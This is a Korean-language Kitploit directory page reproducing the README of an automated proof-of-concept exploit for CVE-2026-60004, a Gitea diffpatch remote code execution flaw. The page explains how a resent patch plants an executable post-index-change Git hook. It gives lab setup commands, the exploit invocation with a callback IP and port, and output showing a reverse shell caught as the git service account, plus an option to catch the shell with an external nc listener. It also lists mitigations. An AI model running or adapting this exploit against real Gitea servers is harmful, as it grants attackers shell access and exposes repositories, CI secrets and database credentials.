Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-60004 — CVE-2026-60004에 대한 자동화된 개념 증명 익스플로잇으로, Gitea diffpatch Git 훅 RCE 취약점을 이용해 post-index-change 훅을 심어 서비스 계정으로 리버스 셸을 획득한다. | Kitploit
도구/GitHubGitHub/yym8538/cve-2026-60004
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingRed TeamingRemote Access ToolPayload Development
GitHubyym8538/cve-2026-60004

CVE-2026-60004

CVE-2026-60004에 대한 자동화된 개념 증명 익스플로잇으로, Gitea diffpatch Git 훅 RCE 취약점을 이용해 post-index-change 훅을 심어 서비스 계정으로 리버스 셸을 획득한다.

11개월 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


개요

CVE-2026-60004는 Gitea의 원격 코드 실행(RCE) 취약점입니다. diffpatch API는 제공된 패치를 git apply --cached로 적용하는데, 이는 인덱스만 건드려야 하며 디스크에 파일을 기록해서는 안 됩니다. 동일한 패치를 두 번 전송함으로써 공격자는 add/add 충돌을 유발하여 Git의 **3-way merge 폴백(-3)**을 작동시킵니다. 이 경로는 --cached를 무시하고 파일을 작업 트리로 체크아웃합니다. 임시 클론이 bare이기 때문에 작업 트리 루트는 $GIT_DIR입니다. 따라서 실행 가능한 hooks/post-index-change를 생성하는 패치는 실제 Git 훅을 배치하게 되고, Git은 다음 인덱스 업데이트 시 이를 자동으로 실행하여 Gitea 서비스 계정으로 명령을 실행합니다. 이 엔드포인트는 저장소 쓰기 권한이 필요하지만, 등록이 기본적으로 활성화되어 있으므로 가입하여 저장소를 생성할 수 있는 모든 사용자가 접근할 수 있습니다.


영향받는 버전

CategoryVersion
취약Gitea 1.17 ≤ version ≤ 1.27.0
패치됨Gitea 1.27.1 이상

영향

  • Gitea 서비스 계정(git)으로 원격 코드 실행
  • 모든 호스팅된 저장소, CI 시크릿, 데이터베이스 자격 증명에 대한 접근

환경

취약한 Gitea 환경을 빌드하고 실행합니다. 등록은 열려 있으며, 서버는 공격이 의존하는 -3 폴백을 활성화하는 Git 2.32+를 제공합니다.

root@kitploit:~
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
PreconditionState in this lab
Gitea 1.17 – 1.27.01.27.0
Git 2.32+ on the server (enables -3)2.54
Open registrationenabled (default)
Repository write accessvia self-registered account

PoC

익스플로잇은 gitea_exploit.py에 의해 완전히 자동화됩니다. 저장소를 생성할 수 있는 계정이 주어지면, 대상 저장소를 생성하고, Git의 -3 폴백이 작동할 때까지 동일한 패치를 반복적으로 전송하며, 내장 리스너로 리버스 셸을 잡습니다 — 수동 설정, 패치 작성, 또는 blob 해시 계산이 필요하지 않습니다.

root@kitploit:~
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

-3 폴백은 특정 타이밍 윈도우에서만 작동하므로, 스크립트는 잡을 때까지 create → send → send를 반복합니다(기본 25회 시도). 전송이 블록되면 훅이 작동한 것이며 리스너가 git으로 셸에 연결합니다:

root@kitploit:~
[*] attempt  3/25 -> send#1 201, send#2 timeout   <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)

옵션:

  • --no-listen — 내장 리스너 대신 자체 외부 nc로 셸을 잡습니다
  • --user / --pw / --repo / --branch — 기본 계정 및 대상 저장소를 재정의합니다

완화

  • Gitea를 1.27.1 이상으로 업그레이드
  • 필요하지 않은 경우 공개 등록 비활성화 (DISABLE_REGISTRATION=true)
  • 인스턴스에 접근하고 저장소를 생성할 수 있는 사용자 제한

분석

  • KR: 곧 공개됩니다!
  • EN:
도구 다운로드